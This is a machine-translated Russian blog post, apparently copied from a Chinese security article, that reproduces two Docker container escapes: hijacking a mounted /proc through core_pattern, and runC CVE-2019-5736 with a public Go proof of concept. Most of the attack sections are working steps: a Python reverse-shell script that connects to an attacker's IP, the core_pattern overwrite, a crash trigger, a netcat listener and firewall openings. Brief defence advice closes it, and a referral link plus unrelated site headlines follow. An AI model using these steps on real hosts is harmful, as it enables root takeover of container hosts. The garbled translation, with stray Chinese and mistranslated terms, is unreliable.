Docker избегает CVE-2019-5736, снова появляется уязвимость облачной безопасности procfs, полный текст — 5 тысяч слов, супер подробный анализ!
Docker избегает CVE-2019-5736, снова появляется уязвимость облачной безопасности procfs, полный текст — 5 тысяч слов, супер подробный анализ!

Procfs, монтирующий контейнер Docker, escape

procfsЭто виртуальная файловая система, отображающая состояние системных процессов.,Содержит конфиденциальную информацию. Установите его непосредственно в неконтролируемый контейнер.,В частности, контейнеры по умолчанию имеютrootразрешения и изоляция пользователей не включены,значительно увеличит риски безопасности. поэтому,Нужно обращаться с осторожностью,Убедитесь, что контейнерные среды надежно изолированы.

файл эксплойта/proc/sys/kernel/core_patternэто внутриLinuxв системе,Если процесс дает сбой,Ядро системы будет собирать информацию о сбое процесса.,Передайте информацию о сбое процесса в программу в этом файле.или Скрипт。

Начиная с версии ядра Linux 2.6.19.,/proc/sys/kernel/core_patternКонфигурация приветствует новые расширения。Если первый символ этого файла является символом вертикальной черты'|',Содержимое, следующее за ним, распознается как инструкция, указывающая на программу или сценарий пользовательского пространства.,Система автоматически вызовет и выполнит эти внешние программы или сценарии при создании дампов ядра. Эта функция повышает гибкость и настройку обработки дампа ядра.

Повторение уязвимости

1. Построение среды уязвимости

Создайте контейнер и смонтируйте каталог /proc.

Язык кода:javascript
копировать
docker run -it --rm -v /proc/:/host/ ubuntu

Выполните следующую команду: Если возвращается Procfs, это означает, что procfs в данный момент смонтирован. Если Procfs не смонтирован, это означает, что он не смонтирован.

Язык кода:javascript
копировать
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

эксплуатировать

Язык кода:javascript
копировать
# Установить gcc файл c не может быть выполнен,нуждаться Установить gcc для выполнения файлов c
apt update && apt install -y gcc

Сценарий оболочки восстановления

Язык кода:javascript
копировать
cat > /tmp/.t.py <<EOF
#!/usr/bin/python
import  os
import pty
import socket
lhost = «IP-адрес машины атаки с отскоком оболочки»
lport = 8888
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()
EOF

Предоставить разрешения на выполнение

Язык кода:javascript
копировать
chmod 777 /tmp/.t.py

Программа дампа ядра Linux выполняется через файловую систему хоста.,использовать/etc/mtabсерединаupperdirНайдите точку подключения контейнера。Изменения незафиксированных файлов контейнера,Виден на этом пути хоста.

Язык кода:javascript
копировать
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

Написать оболочку отскока

Язык кода:javascript
копировать
echo -e "|$host_path/tmp/.t.py \rcore" > /host/sys/kernel/core_pattern

Включить прослушиватель на атакующей машине

Язык кода:javascript
копировать
nc -lvvp 8888

Затем запустите в контейнере программу, которая может привести к сбою.

Язык кода:javascript
копировать
cat > /tmp/t.c <<EOF
#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}
EOF
# Скомпилируйте программу и запустите ее
cd /tmp
gcc t.c -o t && ./t

Если возникает следующая ситуация и атакующая машина не отвечает, возможно, это связано с тем, что атакующая машина не освободила порт 8888.

Кали выпускает порт 8888,использоватьiptables

Язык кода:javascript
копировать
iptables -A INPUT -p tcp --dport 8888 -j ACCEPT

В это время перезапустите файл c.

Язык кода:javascript
копировать
./t 
# или
gcc t.c -o t && ./t

Атакуйте машину, чтобы получить рикошетный снаряд.

Docker runC escape-CVE-2019-5736

Обзор:

В феврале 2019 года группа поддержки runC обнаружила серьезную уязвимость безопасности CVE-2019-5736, обнаруженную Алексой Сарай, старшим инженером-программистом в SUSE Linux. Эта уязвимость затрагивает широко используемые среды выполнения контейнеров, такие как Docker,Containerd, Podman и CRI-O, создавая серьезную угрозу для ИТ-сред и основных облачных платформ, таких как AWS и Google Cloud. Злоумышленник может использовать эту уязвимость, чтобы выйти из контейнера, получить root-права хоста, а затем управлять всеми контейнерами на хосте.

Принцип уязвимости:

Основная причина уязвимости кроется в runC.,Инструмент с открытым исходным кодом, который служит базовой средой выполнения для контейнеров.,Ранняя разработка в рамках Docker,Потом стал независимым. runC вызывается средами выполнения контейнеров высокого уровня, такими как Docker.,Отвечает за создание контейнеров и управление процессами.。получение Затронутая версиясередина(«До Docker 18.09.2 версия runc была ниже, чем 1.0-rc6»),Злоумышленники могут действовать через определенные образы контейнеров или выполнять,Получить дескриптор файла runC на хосте,Затем внесите изменения в двоичный файл runc. Эта операция позволяет злоумышленнику выполнять произвольные команды на хосте с правами root.,Получите полный контроль.

Затронутая версия

docker version <=「18.09.2」 RunC version <=「1.0-rc6」

Установка среды

Это гонконгский сервер Centos 7.9, машина атаки, облачный сервер Tencent.

❝ Здесь я рекомендую Tencent Cloud Server.,Новые пользователи могут использовать его в течение одного года за 99 юаней.,Поставляется с сервисом ускорения докера.,Обязательно для стрельбища===>https://curl.qcloud.com/T7dJtWo1 ❞

Выполните следующие команды последовательно, чтобы успешно установить docker-18.03.1.

Язык кода:javascript
копировать
sudo yum update -y
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
sudo yum install -y docker-ce-18.03.1.ce
sudo systemctl start docker
sudo systemctl enable docker
docker --version

❝ Советы. Начиная с июня большинство отечественных источников Docker больше не будут доступны.,要么использовать香港илииностранная операционная система,илирекомендовать«Операционная система Дракона Ящерицы»,Даже если он создан локально, он также имеет внешнее сетевое ускорение. ❞

Причина использования версии для докера заключается в том, что образ не может быть извлечен. Вы можете загрузить его локально. Здесь я подготовил образ Ubuntu, который можно использовать непосредственно в докере. [Сетевая безопасность Xiaoyu] Фоновый ответ — [ubuntu]. , пожалуйста, не отвечайте неправильно, ubuntu, ubuntu, ubuntu~

Загрузите его самиubuntu.tarЗагрузите к себецелевой дронначальство,Используйте докер для загрузки локальных изображений

Язык кода:javascript
копировать
docker load -i ubuntu.tar

Запустить пример

Язык кода:javascript
копировать
docker run -d --name my_ubuntu_container ubuntu /bin/bash -c "tail -f /dev/null"

Повторение уязвимости

Шаг 1. Создайте полезную нагрузку

Загрузите CVE-2019-5736 и скомпилируйте сценарий go для создания полезных данных для атаки. (https://github.com/Frichtten/CVE-2019-5736-PoC), измените команду в сценарии go на оболочку восстановления (вложение)

Внесите изменения в этот контент,настраивать「nc」адрес прослушивания。

Скомпилируйте и сгенерируйте полезную нагрузку (требуется среда go,yum install go) , также называемый исполняемым файлом, для системы Linux

Язык кода:javascript
копировать
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

Рекомендуется сделать снимок. Завершение Повторения уязвимостей приведет к тому, что докер станет непригодным для использования.

Шаг 2: Начните атаку

Скопируйте полезную нагрузку в контейнер докеров (это имитирует получение злоумышленником разрешений на доступ к контейнеру докеров и загрузку полезных данных в контейнер для выхода из докера).

Язык кода:javascript
копировать
docker cp main df9370449f96:/home  #копировать
docker exec -it df9370449f96 /bin/bash  #Войдите в контейнер Ubuntu

Выполните полезную нагрузку и подождите, пока жертва запустит докер-контейнер.

Откройте порт 1234, прежде чем атаковать машину и включить прослушивание Swiss Army Knife.

Язык кода:javascript
копировать
[root@lavm-izz8p5423g CVE-2019-5736-PoC-master]# systemctl start firewalld
[root@lavm-izz8p5423g CVE-2019-5736-PoC-master]# sudo firewall-cmd --zone=public --add-port=1234/tcp --permanent
success

Включить мониторинг

Заставить машину-жертву повторно войти в контейнер。(「bash/sh」запускать)

Когда жертва запускает докер-контейнер, активируется полезная нагрузка и оболочка успешно восстанавливается.

whoami,эксплуатироватьуспех

Подвести итог

В этой статье подробно показан процесс повторения двух уязвимостей безопасности контейнера Docker, а именно атаки на побег через псевдофайловую систему procfs и уязвимости побега runC CVE-2019-5736. Обе атаки используют неправильную изоляцию или недостатки программного обеспечения между контейнером и хостом для достижения незаконного доступа и контроля изнутри контейнера к среде хоста.

procfsпобегатаковать Подвести итог
  1. «Принцип лазеек»:Монтируя хост/procОглавлениев контейнер,Злоумышленник может получить доступ к критическим системным файлам на хост-компьютере и изменить их.,нравиться/proc/sys/kernel/core_pattern,Это позволяет выполнять произвольный код при сбое процесса.
  2. «Шаги к воспроизведению»
    • Создать крепление/procОглавлениеизDockerконтейнер。
    • Установите gcc внутри контейнера и напишите скрипт Python для восстановления оболочки.
    • 修改宿主机начальствоиз/proc/sys/kernel/core_patternдокумент,Укажите Сценарий восстановления внутри контейнера.
    • Создать сбой процесса внутри контейнера,Триггерный механизм дампа ядра,Выполнить сценарий оболочки повреждения, тем самым получив доступ к оболочке хост-машины атакующей машины.
  3. «Совет обороны»
    • 避免将宿主机из敏感Оглавление(нравиться/proc)挂载到контейнерсередина。
    • Контейнеры должны работать в режиме непривилегированного пользователя, ограничивая их доступ к хост-компьютеру.
    • Отслеживайте и проверяйте действия внутри контейнера, чтобы своевременно обнаруживать аномальное поведение.
CVE-2019-5736 runCпобеглазейки Подвести итог
  1. «Принцип лазеек»:получение影响изDockerиrunC版本середина,атаковать者可以通过特定контейнер镜像或execдействовать Получить дескриптор файла runC на хосте,Затем внесите изменения в двоичный файл runc.,Добейтесь выполнения произвольных команд с правами root.
  2. «Шаги к воспроизведению»
    • Установите и запустите уязвимый контейнер в уязвимой среде Docker.
    • Скомпилируйте и подготовьте полезную нагрузку (исполняемый файл, написанный на языке Go) для эксплуатации.
    • Скопируйте полезную нагрузку в контейнер и выполните ее, ожидая, пока активность Docker на хосте активирует полезную нагрузку.
    • Прослушивайте определенный порт на атакующей машине и успешно получайте ответную оболочку, когда активность Docker на машине-жертве запускает полезную нагрузку.
  3. «Совет обороны»
    • Своевременно обновляйте Docker и runC до последних версий, чтобы не использовать старые версии с известными уязвимостями.
    • Внедрите принцип наименьших привилегий, чтобы ограничить разрешения на запуск процессов внутри контейнера.
    • Используйте инструменты сканирования безопасности контейнеров, чтобы регулярно обнаруживать потенциальные уязвимости в образах контейнеров и средах выполнения.
    • Внедрите строгий контроль доступа и изоляцию на хостах и ​​контейнерах, чтобы уменьшить потенциальные возможности атак.

Воспроизведя эту статью, мы можем глубоко понять важность безопасности контейнеров и необходимость своевременного обновления и поддержки версий программного обеспечения. С широким применением контейнерных технологий обеспечение безопасности контейнерной среды станет важной задачей для ИТ-операций и групп безопасности.

Оригинальная ссылка:

https://mp.weixin.qq.com/s/z6lvfHo3_S6Qtl67gJPTtA

boy illustration
Углубленный анализ переполнения памяти CUDA: OutOfMemoryError: CUDA не хватает памяти. Попыталась выделить 3,21 Ги Б (GPU 0; всего 8,00 Ги Б).
boy illustration
[Решено] ошибка установки conda. Среда решения: не удалось выполнить первоначальное зависание. Повторная попытка с помощью файла (графическое руководство).
boy illustration
Прочитайте нейросетевую модель Трансформера в одной статье
boy illustration
.ART Теплые зимние предложения уже открыты
boy illustration
Сравнительная таблица описания кодов ошибок Amap
boy illustration
Уведомление о последних правилах Points Mall в декабре 2022 года.
boy illustration
Даже новички могут быстро приступить к работе с легким сервером приложений.
boy illustration
Взгляд на RSAC 2024|Защита конфиденциальности в эпоху больших моделей
boy illustration
Вы используете ИИ каждый день и до сих пор не знаете, как ИИ дает обратную связь? Одна статья для понимания реализации в коде Python общих функций потерь генеративных моделей + анализ принципов расчета.
boy illustration
Используйте (внутренний) почтовый ящик для образовательных учреждений, чтобы использовать Microsoft Family Bucket (1T дискового пространства на одном диске и версию Office 365 для образовательных учреждений)
boy illustration
Руководство по началу работы с оперативным проектом (7) Практическое сочетание оперативного письма — оперативного письма на основе интеллектуальной системы вопросов и ответов службы поддержки клиентов
boy illustration
[docker] Версия сервера «Чтение 3» — создайте свою собственную программу чтения веб-текста
boy illustration
Обзор Cloud-init и этапы создания в рамках PVE
boy illustration
Корпоративные пользователи используют пакет регистрационных ресурсов для регистрации ICP для веб-сайта и активации оплаты WeChat H5 (с кодом платежного узла версии API V3)
boy illustration
Подробное объяснение таких показателей производительности с высоким уровнем параллелизма, как QPS, TPS, RT и пропускная способность.
boy illustration
Удачи в конкурсе Python Essay Challenge, станьте первым, кто испытает новую функцию сообщества [Запускать блоки кода онлайн] и выиграйте множество изысканных подарков!
boy illustration
[Техническая посадка травы] Кровавая рвота и отделка позволяют вам необычным образом ощипывать гусиные перья! Не распространяйте информацию! ! !
boy illustration
[Официальное ограниченное по времени мероприятие] Сейчас ноябрь, напишите и получите приз
boy illustration
Прочтите это в одной статье: Учебник для няни по созданию сервера Huanshou Parlu на базе CVM-сервера.
boy illustration
Cloud Native | Что такое CRD (настраиваемые определения ресурсов) в K8s?
boy illustration
Как использовать Cloudflare CDN для настройки узла (CF самостоятельно выбирает IP) Гонконг, Китай/Азия узел/сводка и рекомендации внутреннего высокоскоростного IP-сегмента
boy illustration
Дополнительные правила вознаграждения амбассадоров акции в марте 2023 г.
boy illustration
Можно ли открыть частный сервер Phantom Beast Palu одним щелчком мыши? Супер простой урок для начинающих! (Прилагается метод обновления сервера)
boy illustration
[Играйте с Phantom Beast Palu] Обновите игровой сервер Phantom Beast Pallu одним щелчком мыши
boy illustration
Maotouhu делится: последний доступный внутри страны адрес склада исходного образа Docker 2024 года (обновлено 1 декабря)
boy illustration
Кодирование Base64 в MultipartFile
boy illustration
5 точек расширения SpringBoot, супер практично!
boy illustration
Глубокое понимание сопоставления индексов Elasticsearch.
boy illustration
15 рекомендуемых платформ разработки с нулевым кодом корпоративного уровня. Всегда найдется та, которая вам понравится.
boy illustration
Аннотация EasyExcel позволяет экспортировать с сохранением двух десятичных знаков.